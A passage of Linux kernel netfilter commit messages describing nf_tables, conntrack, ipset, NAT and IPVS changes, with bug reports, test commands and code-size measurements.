Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch augments nf_tables to support stateful objects. This new
infrastructure allows you to create, dump and delete stateful objects,
that are identified by a user-defined name.
This patch adds the generic infrastructure, follow up patches add
support for two stateful objects: counters and quotas.
This patch provides a native infrastructure for nf_tables to replace
nfacct, the extended accounting infrastructure for iptables.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
... so we can use current skb instead of working with a clone.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
I lost one test case in the last commit for xt_multiport.
For example, the rule is "-m multiport --dports 22,80,443".
When first port is unmatched and the second is matched, the curent codes
could not return the right result.
It would return false directly when the first port is unmatched.
Fixes: dd2602d00f ("netfilter: xt_multiport: Use switch case instead
of multiple condition checks")
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds a new flag that signals the kernel to update layer 4
checksum if the packet field belongs to the layer 4 pseudoheader. This
implicitly provides stateless NAT 1:1 that is useful under very specific
usecases.
Since rules mangling layer 3 fields that are part of the pseudoheader
may potentially convey any layer 4 packet, we have to deal with the
layer 4 checksum adjustment using protocol specific code.
This patch adds support for TCP, UDP and ICMPv6, since they include the
pseudoheader in the layer 4 checksum calculation. ICMP doesn't, so we
can skip it.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Acctually ntohl and htonl are identical, so this doesn't affect
anything, but it is conceptually wrong.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Acked-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
instead of allocating each xt_counter individually, allocate 4k chunks
and then use these for counter allocation requests.
This should speed up rule evaluation by increasing data locality,
also speeds up ruleset loading because we reduce calls to the percpu
allocator.
As Eric points out we can't use PAGE_SIZE, page_allocator would fail on
arches with 64k page size.
Suggested-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Keeps some noise away from a followup patch.
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
On SMP we overload the packet counter (unsigned long) to contain
percpu offset. Hide this from callers and pass xt_counters address
instead.
Preparation patch to allocate the percpu counters in page-sized batch
chunks.
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This is to facilitate converting from a singly-linked list to an array
of elements.
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_defrag modules for ipv4 and ipv6 export an empty stub function.
Any module that needs the defragmentation hooks registered simply 'calls'
this empty function to create a phony module dependency -- modprobe will
then load the defrag module too.
This extends netfilter ipv4/ipv6 defragmentation modules to delay the hook
registration until the functionality is requested within a network namespace
instead of module load time for all namespaces.
Hooks are only un-registered on module unload or when a namespace that used
such defrag functionality exits.
We have to use struct net for this as the register hooks can be called
before netns initialization here from the ipv4/ipv6 conntrack module
init path.
There is no unregister functionality support, defrag will always be
active once it was requested inside a net namespace.
The reason is that defrag has impact on nft and iptables rulesets
(without defrag we might see framents).
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
1) Old code was hard to maintain, due to complex lock chains.
(We probably will be able to remove some kfree_rcu() in callers)
2) Using a single timer to update all estimators does not scale.
3) Code was buggy on 32bit kernel (WRITE_ONCE() on 64bit quantity
is not supposed to work well)
In this rewrite :
- I removed the RB tree that had to be scanned in
gen_estimator_active(). qdisc dumps should be much faster.
- Each estimator has its own timer.
- Estimations are maintained in net_rate_estimator structure,
instead of dirtying the qdisc. Minor, but part of the simplification.
- Reading the estimator uses RCU and a seqcount to provide proper
support for 32bit kernels.
- We reduce memory need when estimators are not used, since
we store a pointer, instead of the bytes/packets counters.
- xt_rateest_mt() no longer has to grab a spinlock.
(In the future, xt_rateest_tg() could be switched to per cpu counters)
Signed-off-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
This switch (default on) can be used to disable automatic registration
of connection tracking functionality in newly created network
namespaces.
This means that when net namespace goes down (or the tracker protocol
module is unloaded) we *might* have to unregister the hooks.
We can either add another per-netns variable that tells if
the hooks got registered by default, or, alternatively, just call
the protocol _put() function and have the callee deal with a possible
'extra' put() operation that doesn't pair with a get() one.
This uses the latter approach, i.e. a put() without a get has no effect.
Conntrack is still enabled automatically regardless of the new sysctl
setting if the new net namespace requires connection tracking, e.g. when
NAT rules are created.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This makes use of nf_ct_netns_get/put added in previous patch.
We add get/put functions to nf_conntrack_l3proto structure, ipv4 and ipv6
then implement use-count to track how many users (nft or xtables modules)
have a dependency on ipv4 and/or ipv6 connection tracking functionality.
When count reaches zero, the hooks are unregistered.
This delays activation of connection tracking inside a namespace until
stateful firewall rule or nat rule gets added.
This patch breaks backwards compatibility in the sense that connection
tracking won't be active anymore when the protocol tracker module is
loaded. This breaks e.g. setups that ctnetlink for flow accounting and
the like, without any '-m conntrack' packet filter rules.
Followup patch restores old behavour and makes new delayed scheme
optional via sysctl.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
so that conntrack core will add the needed hooks in this namespace.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
MASQUERADE, S/DNAT and REDIRECT already call functions that depend on the
conntrack module.
However, since the conntrack hooks are now registered in a lazy fashion
(i.e., only when needed) a symbol reference is not enough.
Thus, when something is added to a nat table, make sure that it will see
packets by calling nf_ct_netns_get() which will register the conntrack
hooks in the current netns.
An alternative would be to add these dependencies to the NAT table.
However, that has problems when using non-modular builds -- we might
register e.g. ipv6 conntrack before its initcall has run, leading to NULL
deref crashes since its per-netns storage has not yet been allocated.
Adding the dependency in the modules instead has the advantage that nat
table also does not register its hooks until rules are added.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
currently aliased to try_module_get/_put.
Will be changed in next patch when we add functions to make use of ->net
argument to store usercount per l3proto tracker.
This is needed to avoid registering the conntrack hooks in all netns and
later only enable connection tracking in those that need conntrack.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
since adf0516845 ("netfilter: remove ip_conntrack* sysctl compat code")
the only user (ipv4 tracker) sets this to an empty stub function.
After this change nf_ct_l3proto_pernet_register() is also empty,
but this will change in a followup patch to add conditional register
of the hooks.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CONFIG_NF_CT_PROTO_UDPLITE is no more a tristate. When set to y,
connection tracking support for UDPlite protocol is built-in into
nf_conntrack.ko.
footprint test:
$ ls -l net/netfilter/nf_conntrack{_proto_udplite,}.ko \
net/ipv4/netfilter/nf_conntrack_ipv4.ko \
net/ipv6/netfilter/nf_conntrack_ipv6.ko
(builtin)|| udplite| ipv4 | ipv6 |nf_conntrack
---------++--------+--------+--------+--------------
none || 432538 | 828755 | 828676 | 6141434
UDPlite || - | 829649 | 829362 | 6498204
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CONFIG_NF_CT_PROTO_SCTP is no more a tristate. When set to y, connection
tracking support for SCTP protocol is built-in into nf_conntrack.ko.
footprint test:
$ ls -l net/netfilter/nf_conntrack{_proto_sctp,}.ko \
net/ipv4/netfilter/nf_conntrack_ipv4.ko \
net/ipv6/netfilter/nf_conntrack_ipv6.ko
(builtin)|| sctp | ipv4 | ipv6 | nf_conntrack
---------++--------+--------+--------+--------------
none || 498243 | 828755 | 828676 | 6141434
SCTP || - | 829254 | 829175 | 6547872
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CONFIG_NF_CT_PROTO_DCCP is no more a tristate. When set to y, connection
tracking support for DCCP protocol is built-in into nf_conntrack.ko.
footprint test:
$ ls -l net/netfilter/nf_conntrack{_proto_dccp,}.ko \
net/ipv4/netfilter/nf_conntrack_ipv4.ko \
net/ipv6/netfilter/nf_conntrack_ipv6.ko
(builtin)|| dccp | ipv4 | ipv6 | nf_conntrack
---------++--------+--------+--------+--------------
none || 469140 | 828755 | 828676 | 6141434
DCCP || - | 830566 | 829935 | 6533526
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Simon Horman says:
====================
IPVS Updates for v4.10
please consider these enhancements to the IPVS for v4.10.
* Decrement the IP ttl in all the modes in order to prevent infinite
route loops. Thanks to Dwip Banerjee.
* Use IS_ERR_OR_NULL macro. Clean-up from Gao Feng.
====================
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
So we can autoload nfnetlink_log.ko when the user adding nft log
group X rule in netdev family.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
In netdev family, we will handle non ethernet packets, so using
eth_hdr(skb)->h_proto is incorrect.
Meanwhile, we can use socket(AF_PACKET...) to sending packets, so
skb->protocol is not always set in bridge family.
Add an extra parameter into nf_log_l2packet to solve this issue.
Fixes: 1fddf4bad0 ("netfilter: nf_log: add packet logging for netdev family")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CONFIG_NF_NAT_PROTO_UDPLITE is no more a tristate. When set to y, NAT
support for UDPlite protocol is built-in into nf_nat.ko.
footprint test:
(nf_nat_proto_) |udplite || nf_nat
--------------------------+--------++--------
no builtin | 408048 || 2241312
UDPLITE builtin | - || 2577256
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CONFIG_NF_NAT_PROTO_SCTP is no more a tristate. When set to y, NAT
support for SCTP protocol is built-in into nf_nat.ko.
footprint test:
(nf_nat_proto_) | sctp || nf_nat
--------------------------+--------++--------
no builtin | 428344 || 2241312
SCTP builtin | - || 2597032
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CONFIG_NF_NAT_PROTO_DCCP is no more a tristate. When set to y, NAT
support for DCCP protocol is built-in into nf_nat.ko.
footprint test:
(nf_nat_proto_) | dccp || nf_nat
--------------------------+--------++--------
no builtin | 409800 || 2241312
DCCP builtin | - || 2578968
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The email address has changed, let's update the copyright statements.
Signed-off-by: Arturo Borrero Gonzalez <arturo@debian.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Couple conflicts resolved here:
1) In the MACB driver, a bug fix to properly initialize the
RX tail pointer properly overlapped with some changes
to support variable sized rings.
2) In XGBE we had a "CONFIG_PM" --> "CONFIG_PM_SLEEP" fix
overlapping with a reorganization of the driver to support
ACPI, OF, as well as PCI variants of the chip.
3) In 'net' we had several probe error path bug fixes to the
stmmac driver, meanwhile a lot of this code was cleaned up
and reorganized in 'net-next'.
4) The cls_flower classifier obtained a helper function in
'net-next' called __fl_delete() and this overlapped with
Daniel Borkamann's bug fix to use RCU for object destruction
in 'net'. It also overlapped with Jiri's change to guard
the rhashtable_remove_fast() call with a check against
tc_skip_sw().
5) In mlx4, a revert bug fix in 'net' overlapped with some
unrelated changes in 'net-next'.
6) In geneve, a stale header pointer after pskb_expand_head()
bug fix in 'net' overlapped with a large reorganization of
the same code in 'net-next'. Since the 'net-next' code no
longer had the bug in question, there was nothing to do
other than to simply take the 'net-next' hunks.
Signed-off-by: David S. Miller <davem@davemloft.net>
Otherwise, kernel panic will happen if the user does not specify
the related attributes.
Fixes: 0f3cd9b369 ("netfilter: nf_tables: add range expression")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
As Liping Zhang reports, after commit a8b1e36d0d ("netfilter: nft_dynset:
fix element timeout for HZ != 1000"), priv->timeout was stored in jiffies,
while set->timeout was stored in milliseconds. This is inconsistent and
incorrect.
Firstly, we already call msecs_to_jiffies in nft_set_elem_init, so
priv->timeout will be converted to jiffies twice.
Secondly, if the user did not specify the NFTA_DYNSET_TIMEOUT attr,
set->timeout will be used, but we forget to call msecs_to_jiffies
when do update elements.
Fix this by using jiffies internally for traditional sets and doing the
conversions to/from msec when interacting with userspace - as dynset
already does.
This is preferable to doing the conversions, when elements are inserted or
updated, because this can happen very frequently on busy dynsets.
Fixes: a8b1e36d0d ("netfilter: nft_dynset: fix element timeout for HZ != 1000")
Reported-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Anders K. Pedersen <akp@cohaesio.com>
Acked-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
I got offlist bug report about failing connections and high cpu usage.
This happens because we hit 'elasticity' checks in rhashtable that
refuses bucket list exceeding 16 entries.
The nat bysrc hash unfortunately needs to insert distinct objects that
share same key and are identical (have same source tuple), this cannot
be avoided.
Switch to the rhlist interface which is designed for this.
The nulls_base is removed here, I don't think its needed:
A (unlikely) false positive results in unneeded port clash resolution,
a false negative results in packet drop during conntrack confirmation,
when we try to insert the duplicate into main conntrack hash table.
Tested by adding multiple ip addresses to host, then adding
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
... and then creating multiple connections, from same source port but
different addresses:
for i in $(seq 2000 2032);do nc -p 1234 192.168.7.1 $i > /dev/null & done
(all of these then get hashed to same bysource slot)
Then, to test that nat conflict resultion is working:
nc -s 10.0.0.1 -p 1234 192.168.7.1 2000
nc -s 10.0.0.2 -p 1234 192.168.7.1 2000
tcp .. src=10.0.0.1 dst=192.168.7.1 sport=1234 dport=2000 src=192.168.7.1 dst=192.168.7.10 sport=2000 dport=1024 [ASSURED]
tcp .. src=10.0.0.2 dst=192.168.7.1 sport=1234 dport=2000 src=192.168.7.1 dst=192.168.7.10 sport=2000 dport=1025 [ASSURED]
tcp .. src=192.168.7.10 dst=192.168.7.1 sport=1234 dport=2000 src=192.168.7.1 dst=192.168.7.10 sport=2000 dport=1234 [ASSURED]
tcp .. src=192.168.7.10 dst=192.168.7.1 sport=1234 dport=2001 src=192.168.7.1 dst=192.168.7.10 sport=2001 dport=1234 [ASSURED]
[..]
-> nat altered source ports to 1024 and 1025, respectively.
This can also be confirmed on destination host which shows
ESTAB 0 0 192.168.7.1:2000 192.168.7.10:1024
ESTAB 0 0 192.168.7.1:2000 192.168.7.10:1025
ESTAB 0 0 192.168.7.1:2000 192.168.7.10:1234
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Fixes: 870190a9ec ("netfilter: nat: convert nat bysrc hash to rhashtable")
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The comparator works like memcmp, i.e. 0 means objects are equal.
In other words, when objects are distinct they are treated as identical,
when they are distinct they are allegedly the same.
The first case is rare (distinct objects are unlikely to get hashed to
same bucket).
The second case results in unneeded port conflict resolutions attempts.
Fixes: 870190a9ec ("netfilter: nat: convert nat bysrc hash to rhashtable")
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use the function nft_parse_u32_check() to fetch the value and validate
the u32 attribute into the hash len u8 field.
This patch revisits 4da449ae1d ("netfilter: nft_exthdr: Add size check
on u8 nft_exthdr attributes").
Fixes: cb1b69b0b1 ("netfilter: nf_tables: add hash expression")
Signed-off-by: Laura Garcia Liebana <nevola@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Make struct pernet_operations::id unsigned.
There are 2 reasons to do so:
1)
This field is really an index into an zero based array and
thus is unsigned entity. Using negative value is out-of-bound
access by definition.
2)
On x86_64 unsigned 32-bit data which are mixed with pointers
via array indexing or offsets added or subtracted to pointers
are preffered to signed 32-bit data.
"int" being used as an array index needs to be sign-extended
to 64-bit before being used.
void f(long *p, int i)
{
g(p[i]);
}
roughly translates to
movsx rsi, esi
mov rdi, [rsi+...]
call g
MOVSX is 3 byte instruction which isn't necessary if the variable is
unsigned because x86_64 is zero extending by default.
Now, there is net_generic() function which, you guessed it right, uses
"int" as an array index:
static inline void *net_generic(const struct net *net, int id)
{
...
ptr = ng->ptr[id - 1];
...
}
And this function is used a lot, so those sign extensions add up.
Patch snipes ~1730 bytes on allyesconfig kernel (without all junk
messing with code generation):
add/remove: 0/0 grow/shrink: 70/598 up/down: 396/-2126 (-1730)
Unfortunately some functions actually grow bigger.
This is a semmingly random artefact of code generation with register
allocator being used differently. gcc decides that some variable
needs to live in new r8+ registers and every access now requires REX
prefix. Or it is shifted into r12, so [r12+0] addressing mode has to be
used which is longer than [r8]
However, overall balance is in negative direction:
add/remove: 0/0 grow/shrink: 70/598 up/down: 396/-2126 (-1730)
function old new delta
nfsd4_lock 3886 3959 +73
tipc_link_build_proto_msg 1096 1140 +44
mac80211_hwsim_new_radio 2776 2808 +32
tipc_mon_rcv 1032 1058 +26
svcauth_gss_legacy_init 1413 1429 +16
tipc_bcbase_select_primary 379 392 +13
nfsd4_exchange_id 1247 1260 +13
nfsd4_setclientid_confirm 782 793 +11
...
put_client_renew_locked 494 480 -14
ip_set_sockfn_get 730 716 -14
geneve_sock_add 829 813 -16
nfsd4_sequence_done 721 703 -18
nlmclnt_lookup_host 708 686 -22
nfsd4_lockt 1085 1063 -22
nfs_get_client 1077 1050 -27
tcf_bpf_init 1106 1076 -30
nfsd4_encode_fattr 5997 5930 -67
Total: Before=154856051, After=154854321, chg -0.00%
Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
We decrement the IP ttl in all the modes in order to prevent infinite
route loops. The changes were done based on Julian Anastasov's
suggestions in a prior thread.
The ttl based check/discard and the actual decrement are done in
__ip_vs_get_out_rt() and in __ip_vs_get_out_rt_v6(), for the IPv6
case. decrement_ttl() implements the actual functionality for the
two cases.
Signed-off-by: Dwip Banerjee <dwip@linux.vnet.ibm.com>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
This minor refactoring does not change the logic of function
ip_vs_genl_dump_dests.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Since commit 7926dbfa4b ("netfilter: don't use
mutex_lock_interruptible()"), the function xt_find_table_lock can only
return NULL on an error. Simplify the call sites and update the
comment before the function.
The semantic patch that change the code is as follows:
(http://coccinelle.lip6.fr/)
// <smpl>
@@
expression t,e;
@@
t = \(xt_find_table_lock(...)\|
try_then_request_module(xt_find_table_lock(...),...)\)
... when != t=e
- ! IS_ERR_OR_NULL(t)
+ t
@@
expression t,e;
@@
t = \(xt_find_table_lock(...)\|
try_then_request_module(xt_find_table_lock(...),...)\)
... when != t=e
- IS_ERR_OR_NULL(t)
+ !t
@@
expression t,e,e1;
@@
t = \(xt_find_table_lock(...)\|
try_then_request_module(xt_find_table_lock(...),...)\)
... when != t=e
?- t ? PTR_ERR(t) : e1
+ e1
... when any
// </smpl>
Signed-off-by: Julia Lawall <Julia.Lawall@lip6.fr>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
net/netfilter/ipset/ip_set_hash_ipmac.c:70:8-9: WARNING: return of 0/1 in function 'hash_ipmac4_data_list' with return type bool
net/netfilter/ipset/ip_set_hash_ipmac.c:178:8-9: WARNING: return of 0/1 in function 'hash_ipmac6_data_list' with return type bool
Return statements in functions returning bool should use
true/false instead of 1/0.
Generated by: scripts/coccinelle/misc/boolreturn.cocci
CC: Tomasz Chilinski <tomasz.chilinski@chilan.com>
Signed-off-by: Fengguang Wu <fengguang.wu@intel.com>
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Use setup_timer() and instead of init_timer(), being the preferred way
of setting up a timer.
Also, quoting the mod_timer() function comment:
-> mod_timer() is a more efficient way to update the expire field of an
active timer (if the timer is inactive it will be activated).
Use setup_timer() and mod_timer() to setup and arm a timer, making the
code compact and easier to read.
Signed-off-by: Muhammad Falak R Wani <falakreyaz@gmail.com>
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
The calculation of the full allocated memory did not take
into account the size of the base hash bucket structure at some
places.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
The set full case (with net_ratelimit()-ed pr_warn()) is already
handled, simply jump there.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Before this patch struct htype created at the first source
of ip_set_hash_gen.h and it is common for both IPv4 and IPv6
set variants.
Make struct htype per ipset family and use NLEN to make
nets array fixed size to simplify struct htype allocation.
Ported from a patch proposed by Sergey Popovich <popovich_sergei@mail.ua>.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Exit as easly as possible on error and use RCU_INIT_POINTER()
as set is not seen at creation time.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Data for hashing required to be array of u32. Make sure that
element data always multiple of u32.
Ported from a patch proposed by Sergey Popovich <popovich_sergei@mail.ua>.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Hash types define HOST_MASK before inclusion of ip_set_hash_gen.h
and the only place where NLEN needed to be calculated at runtime
is *_create() method.
Ported from a patch proposed by Sergey Popovich <popovich_sergei@mail.ua>.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Remove one leve of intendation by using continue while
iterating over elements in bucket.
Ported from a patch proposed by Sergey Popovich <popovich_sergei@mail.ua>.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Remove redundant parameters nets_length and dsize, because
they can be get from other parameters.
Ported from a patch proposed by Sergey Popovich <popovich_sergei@mail.ua>.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Non-static (i.e. comment) extension was not counted into the memory
size. A new internal counter is introduced for this. In the case of
the hash types the sizes of the arrays are counted there as well so
that we can avoid to scan the whole set when just the header data
is requested.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
It is better to list the set elements for all set types, thus the
header information is uniform. Element counts are therefore added
to the bitmap and list types.
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
It would be useful for userspace to query the size of an ipset hash,
however, this data is not exposed to userspace outside of counting the
number of member entries. This patch uses the attribute
IPSET_ATTR_ELEMENTS to indicate the size in the the header that is
exported to userspace. This field is then printed by the userspace
tool for hashes.
Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Pablo Neira Ayuso <pablo@netfilter.org>
Cc: Josh Hunt <johunt@akamai.com>
Cc: netfilter-devel@vger.kernel.org
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Hash types already has it's memsize calculation code in separate
functions. Clean up and do the same for *bitmap* and *list* sets.
Ported from a patch proposed by Sergey Popovich <popovich_sergei@mail.ua>.
Suggested-by: Sergey Popovich <popovich_sergei@mail.ua>
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
Use struct ip_set_skbinfo in struct ip_set_ext instead of open
coded fields and assign structure members in get/init helpers
instead of copying members one by one. Explicitly note that
struct ip_set_skbinfo must be padded to prevent non-aligned
access in the extension blob.
Ported from a patch proposed by Sergey Popovich <popovich_sergei@mail.ua>.
Suggested-by: Sergey Popovich <popovich_sergei@mail.ua>
Signed-off-by: Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
gcc correctly identified a theoretical uninitialized variable use:
net/netfilter/nf_conntrack_core.c: In function 'nf_conntrack_in':
net/netfilter/nf_conntrack_core.c:1125:14: error: 'l4proto' may be used uninitialized in this function [-Werror=maybe-uninitialized]
This could only happen when we 'goto out' before looking up l4proto,
and then enter the retry, implying that l3proto->get_l4proto()
returned NF_REPEAT. This does not currently get returned in any
code path and probably won't ever happen, but is not good to
rely on.
Moving the repeat handling up a little should have the same
behavior as today but avoids the warning by making that case
impossible to enter.
[ I have mangled this original patch to remove the check for tmpl, we
should inconditionally jump back to the repeat label in case we hit
NF_REPEAT instead. I have also moved the comment that explains this
where it belongs. --pablo ]
Fixes: 08733a0cb7 ("netfilter: handle NF_REPEAT from nf_conntrack_in()")
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
modify registration and deregistration of layer-4 protocol trackers to
facilitate inclusion of new elements into the current list of builtin
protocols. Both builtin (TCP, UDP, ICMP) and non-builtin (DCCP, GRE, SCTP,
UDPlite) layer-4 protocol trackers usually register/deregister themselves
using consecutive calls to nf_ct_l4proto_{,pernet}_{,un}register(...).
This sequence is interrupted and rolled back in case of error; in order to
simplify addition of builtin protocols, the input of the above functions
has been modified to allow registering/unregistering multiple protocols.
Signed-off-by: Davide Caratti <dcaratti@redhat.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Some basic expressions are built into nf_tables.ko, such as nft_cmp,
nft_lookup, nft_range and so on. But these basic expressions' init
routine is a little ugly, too many goto errX labels, and we forget
to call nft_range_module_exit in the exit routine, although it is
harmless.
Acctually, the init and exit routines of these basic expressions
are same, i.e. do nft_register_expr in the init routine and do
nft_unregister_expr in the exit routine.
So it's better to arrange them into an array and deal with them
together.
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Dalegaard says:
The following ruleset, when loaded with 'nft -f bad.txt'
----snip----
flush ruleset
table ip inlinenat {
map sourcemap {
type ipv4_addr : verdict;
}
chain postrouting {
ip saddr vmap @sourcemap accept
}
}
add chain inlinenat test
add element inlinenat sourcemap { 100.123.10.2 : jump test }
----snip----
results in a kernel oops:
BUG: unable to handle kernel paging request at 0000000000001344
IP: [<ffffffffa07bf704>] nf_tables_check_loops+0x114/0x1f0 [nf_tables]
[...]
Call Trace:
[<ffffffffa07c2aae>] ? nft_data_init+0x13e/0x1a0 [nf_tables]
[<ffffffffa07c1950>] nft_validate_register_store+0x60/0xb0 [nf_tables]
[<ffffffffa07c74b5>] nft_add_set_elem+0x545/0x5e0 [nf_tables]
[<ffffffffa07bfdd0>] ? nft_table_lookup+0x30/0x60 [nf_tables]
[<ffffffff8132c630>] ? nla_strcmp+0x40/0x50
[<ffffffffa07c766e>] nf_tables_newsetelem+0x11e/0x210 [nf_tables]
[<ffffffff8132c400>] ? nla_validate+0x60/0x80
[<ffffffffa030d9b4>] nfnetlink_rcv+0x354/0x5a7 [nfnetlink]
Because we forget to fill the net pointer in bind_ctx, so dereferencing
it may cause kernel crash.
Reported-by: Dalegaard <dalegaard@gmail.com>
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Nicolas Dichtel says:
After commit b87a2f9199 ("netfilter: conntrack: add gc worker to
remove timed-out entries"), netlink conntrack deletion events may be
sent with a huge delay.
Nicolas further points at this line:
goal = min(nf_conntrack_htable_size / GC_MAX_BUCKETS_DIV, GC_MAX_BUCKETS);
and indeed, this isn't optimal at all. Rationale here was to ensure that
we don't block other work items for too long, even if
nf_conntrack_htable_size is huge. But in order to have some guarantee
about maximum time period where a scan of the full conntrack table
completes we should always use a fixed slice size, so that once every
N scans the full table has been examined at least once.
We also need to balance this vs. the case where the system is either idle
(i.e., conntrack table (almost) empty) or very busy (i.e. eviction happens
from packet path).
So, after some discussion with Nicolas:
1. want hard guarantee that we scan entire table at least once every X s
-> need to scan fraction of table (get rid of upper bound)
2. don't want to eat cycles on idle or very busy system
-> increase interval if we did not evict any entries
3. don't want to block other worker items for too long
-> make fraction really small, and prefer small scan interval instead
4. Want reasonable short time where we detect timed-out entry when
system went idle after a burst of traffic, while not doing scans
all the time.
-> Store next gc scan in worker, increasing delays when no eviction
happened and shrinking delay when we see timed out entries.
The old gc interval is turned into a max number, scans can now happen
every jiffy if stale entries are present.
Longest possible time period until an entry is evicted is now 2 minutes
in worst case (entry expires right after it was deemed 'not expired').
Reported-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Thomas reports its not possible to attach the H.245 helper:
iptables -t raw -A PREROUTING -p udp -j CT --helper H.245
iptables: No chain/target/match by that name.
xt_CT: No such helper "H.245"
This is because H.245 registers as NFPROTO_UNSPEC, but the CT target
passes NFPROTO_IPV4/IPV6 to nf_conntrack_helper_try_module_get.
We should treat UNSPEC as wildcard and ignore the l3num instead.
Reported-by: Thomas Woerner <twoerner@redhat.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The (percpu) untracked conntrack entries can end up with nonzero connmarks.
The 'untracked' conntrack objects are merely a way to distinguish INVALID
(i.e. protocol connection tracker says payload doesn't meet some
